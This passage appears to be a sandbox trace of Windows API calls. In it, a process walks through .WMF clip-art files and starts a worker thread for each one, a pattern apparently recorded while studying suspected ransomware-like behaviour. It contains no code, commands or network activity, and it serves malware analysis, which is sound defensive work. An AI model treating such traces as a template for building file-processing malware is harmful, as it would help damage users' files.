	[0195.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c0
	[0195.024] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.024] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1
	[0195.024] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c4
	[0195.026] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.027] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x72, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1
	[0195.027] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c8
	[0195.030] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.030] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1
	[0195.030] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11cc
	[0195.034] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.034] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1
	[0195.034] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d0
	[0195.037] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.038] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1
	[0195.038] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d4
	[0195.041] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.042] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1
	[0195.042] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d8
	[0195.044] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.045] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1
	[0195.045] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11dc
	[0195.048] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.049] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1
	[0195.049] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e0
	[0195.052] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.053] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1
	[0195.053] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e4
	[0195.055] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.056] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1
	[0195.056] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e8
	[0195.506] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.507] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1
	[0195.507] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.508] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ec
	[0195.510] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.510] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1
	[0195.510] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.511] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f0
	[0195.514] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.515] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1
	[0195.515] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f4
	[0195.518] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.518] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1
	[0195.518] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f8
	[0195.521] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.521] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1
	[0195.521] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11fc
	[0195.524] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.525] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1
	[0195.525] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1200
	[0195.528] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.529] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1
	[0195.529] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1204
	[0195.532] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.533] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1
	[0195.533] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1208
	[0195.536] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.537] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1
	[0195.537] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0195.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120c
	[0196.051] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.139] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1
	[0196.139] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x121c
	[0196.149] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.150] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1
	[0196.150] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1220
	[0196.153] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.154] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1
	[0196.154] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1224
	[0196.157] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.157] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1
	[0196.157] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1228
	[0196.161] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.161] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1
	[0196.161] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x122c
	[0196.163] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.164] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1
	[0196.164] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1230
	[0196.167] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.167] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1
	[0196.167] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0196.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1234
	[0196.171] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.171] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x72, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1
